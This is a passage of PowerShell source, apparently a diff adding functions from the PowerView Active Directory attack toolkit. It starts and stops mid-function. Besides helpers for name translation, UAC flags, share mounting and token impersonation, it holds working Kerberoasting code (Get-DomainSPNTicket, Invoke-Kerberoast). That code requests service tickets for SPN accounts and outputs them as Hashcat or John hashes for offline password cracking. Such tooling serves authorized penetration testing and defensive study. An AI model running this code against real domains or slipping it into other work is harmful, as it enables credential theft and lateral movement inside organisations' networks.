$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) + } + + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) + } + + # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx + if ($PSBoundParameters['Server']) { + $ADSInitType = 2 + $InitName = $Server + } + elseif ($PSBoundParameters['Domain']) { + $ADSInitType = 1 + $InitName = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $Cred = $Credential.GetNetworkCredential() + $ADSInitType = 1 + $InitName = $Cred.Domain + } + else { + # if no domain or server is specified, default to GC initialization + $ADSInitType = 3 + $InitName = $Null + } + } + + PROCESS { + ForEach ($TargetIdentity in $Identity) { + if (-not $PSBoundParameters['OutputType']) { + if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { + $ADSOutputType = $NameTypes['DomainSimple'] + } + else { + $ADSOutputType = $NameTypes['NT4'] + } + } + else { + $ADSOutputType = $NameTypes[$OutputType] + } + + $Translate = New-Object -ComObject NameTranslate + + if ($PSBoundParameters['Credential']) { + try { + $Cred = $Credential.GetNetworkCredential() + + Invoke-Method $Translate 'InitEx' ( + $ADSInitType, + $InitName, + $Cred.UserName, + $Cred.Domain, + $Cred.Password + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" + } + } + else { + try { + $Null = Invoke-Method $Translate 'Init' ( + $ADSInitType, + $InitName + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" + } + } + + # always chase all referrals + Set-Property $Translate 'ChaseReferral' (0x60) + + try { + # 8 = Unknown name type -> let the server do the work for us + $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) + Invoke-Method $Translate 'Get' ($ADSOutputType) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" + } + } + } +} + + +function ConvertFrom-UACValue { +<# +.SYNOPSIS + +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +.PARAMETER Value + +Specifies the integer UAC value to convert. + +.PARAMETER ShowAll + +Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. + +.EXAMPLE + +ConvertFrom-UACValue -Value 66176 + +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll + +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 + +.INPUTS + +Int + +Accepts an integer representing a UAC binary blob. + +.OUTPUTS + +System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [OutputType('System.Collections.Specialized.OrderedDictionary')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('UAC', 'useraccountcontrol')] + [Int] + $Value, + + [Switch] + $ShowAll + ) + + BEGIN { + # values from https://support.microsoft.com/en-us/kb/305144 + $UACValues = New-Object System.Collections.Specialized.OrderedDictionary + $UACValues.Add("SCRIPT", 1) + $UACValues.Add("ACCOUNTDISABLE", 2) + $UACValues.Add("HOMEDIR_REQUIRED", 8) + $UACValues.Add("LOCKOUT", 16) + $UACValues.Add("PASSWD_NOTREQD", 32) + $UACValues.Add("PASSWD_CANT_CHANGE", 64) + $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) + $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) + $UACValues.Add("NORMAL_ACCOUNT", 512) + $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) + $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) + $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) + $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) + $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) + $UACValues.Add("SMARTCARD_REQUIRED", 262144) + $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) + $UACValues.Add("NOT_DELEGATED", 1048576) + $UACValues.Add("USE_DES_KEY_ONLY", 2097152) + $UACValues.Add("DONT_REQ_PREAUTH", 4194304) + $UACValues.Add("PASSWORD_EXPIRED", 8388608) + $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) + $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) + } + + PROCESS { + $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + + if ($ShowAll) { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + else { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + $ResultUACValues + } +} + + +function Get-PrincipalContext { +<# +.SYNOPSIS + +Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext +and simplified identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), +or a DOMAIN\username identity. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + try { + if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { + if ($Identity -match '.+\\.+') { + # DOMAIN\groupname + $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical + if ($ConvertedIdentity) { + $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) + $ObjectIdentity = $Identity.Split('\')[1] + Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" + } + } + else { + $ObjectIdentity = $Identity + Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" + $ConnectTarget = $Domain + } + + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) + } + } + else { + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $DomainName = Get-Domain | Select-Object -ExpandProperty Name + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) + } + $ObjectIdentity = $Identity + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Context' $Context + $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity + $Out + } + catch { + Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" + } +} + + +function Add-RemoteConnection { +<# +.SYNOPSIS + +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection +to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the +-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path +or -ComputerName. + +.PARAMETER ComputerName + +Specifies the system to add a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to add the connection for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +$Cred = Get-Credential +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred + +.EXAMPLE + +$Cred = Get-Credential +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred +#> + + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path, + + [Parameter(Mandatory = $True)] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential + ) + + BEGIN { + $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) + $NetResourceInstance.dwType = 1 + } + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + $NetResourceInstance.lpRemoteName = $TargetPath + Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" + + # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx + # CONNECT_TEMPORARY = 4 + $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully mounted" + } + else { + Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Remove-RemoteConnection { +<# +.SYNOPSIS + +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to +'unmount' \\$ComputerName\IPC$. + +.PARAMETER ComputerName + +Specifies the system to remove a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to remove the connection for. + +.EXAMPLE + +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' + +.EXAMPLE + +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' + +.EXAMPLE + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path + ) + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" + $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully ummounted" + } + else { + Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Invoke-UserImpersonation { +<# +.SYNOPSIS + +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object with alternate credentials +to impersonate in the current thread space. + +.PARAMETER TokenHandle + +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. + +.PARAMETER Quiet + +Suppress any warnings about STA vs MTA. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred + +.OUTPUTS + +IntPtr + +The TokenHandle result from LogonUser. +#> + + [OutputType([IntPtr])] + [CmdletBinding(DefaultParameterSetName = 'Credential')] + Param( + [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] + [ValidateNotNull()] + [IntPtr] + $TokenHandle, + + [Switch] + $Quiet + ) + + if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { + Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." + } + + if ($PSBoundParameters['TokenHandle']) { + $LogonTokenHandle = $TokenHandle + } + else { + $LogonTokenHandle = [IntPtr]::Zero + $NetworkCredential = $Credential.GetNetworkCredential() + $UserDomain = $NetworkCredential.Domain + $UserName = $NetworkCredential.UserName + Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" + + # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 + # this is to simulate "runas.exe /netonly" functionality + $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + } + + # actually impersonate the token from LogonUser() + $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) + + if (-not $Result) { + throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" + $LogonTokenHandle +} + + +function Invoke-RevertToSelf { +<# +.SYNOPSIS + +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +.PARAMETER TokenHandle + +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token +#> + + [CmdletBinding()] + Param( + [ValidateNotNull()] + [IntPtr] + $TokenHandle + ) + + if ($PSBoundParameters['TokenHandle']) { + Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" + $Result = $Kernel32::CloseHandle($TokenHandle) + } + + $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" +} + + +function Get-DomainSPNTicket { +<# +.SYNOPSIS + +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of Hashcat). + +.PARAMETER SPN + +Specifies the service principal name to request the ticket for. + +.PARAMETER User + +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +.EXAMPLE + +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" + +Request a kerberos service ticket for the specified SPN. + +.EXAMPLE + +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket + +Request kerberos service tickets for all SPNs passed on the pipeline. + +.EXAMPLE + +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR + +Request kerberos service tickets for all users with non-null SPNs and output in JTR format. + +.INPUTS + +String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +.INPUTS + +PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [OutputType('PowerView.SPNTicket')] + [CmdletBinding(DefaultParameterSetName = 'RawSPN')] + Param ( + [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('.*/.*')] + [Alias('ServicePrincipalName')] + [String[]] + $SPN, + + [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] + [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] + [Object[]] + $User, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'Hashcat', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['User']) { + $TargetObject = $User + } + else { + $TargetObject = $SPN + } + + ForEach ($Object in $TargetObject) { + if ($PSBoundParameters['User']) { + $UserSPN = $Object.ServicePrincipalName + $SamAccountName = $Object.SamAccountName + $DistinguishedName = $Object.DistinguishedName + } + else { + $UserSPN = $Object + $SamAccountName = 'UNKNOWN' + $DistinguishedName = 'UNKNOWN' + } + + # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 + if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { + $UserSPN = $UserSPN[0] + } + + try { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" + } + if ($Ticket) { + $TicketByteStream = $Ticket.GetRequest() + } + if ($TicketByteStream) { + $Out = New-Object PSObject + + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName + $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName + $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName + + # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) + # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object + if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { + $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) + $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 + $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) + + # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object + if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { + Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } else { + $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" + $Out | Add-Member Noteproperty 'TicketByteHexStream' $null + } + } else { + Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } + + if($Hash) { + # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe... + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" + } + else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + + # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe... + $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') + $Out + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Invoke-Kerberoast { +<# +.SYNOPSIS + +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +.DESCRIPTION + +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat . + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'Hashcat'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Invoke-Kerberoast | fl + +Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default). + +.EXAMPLE + +Invoke-Kerberoast -Domain dev.testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR +format instead of Hashcat. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.SPNTicket')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'Hashcat', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserSearcherArguments = @{ + 'SPN' = $True + 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' + } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + 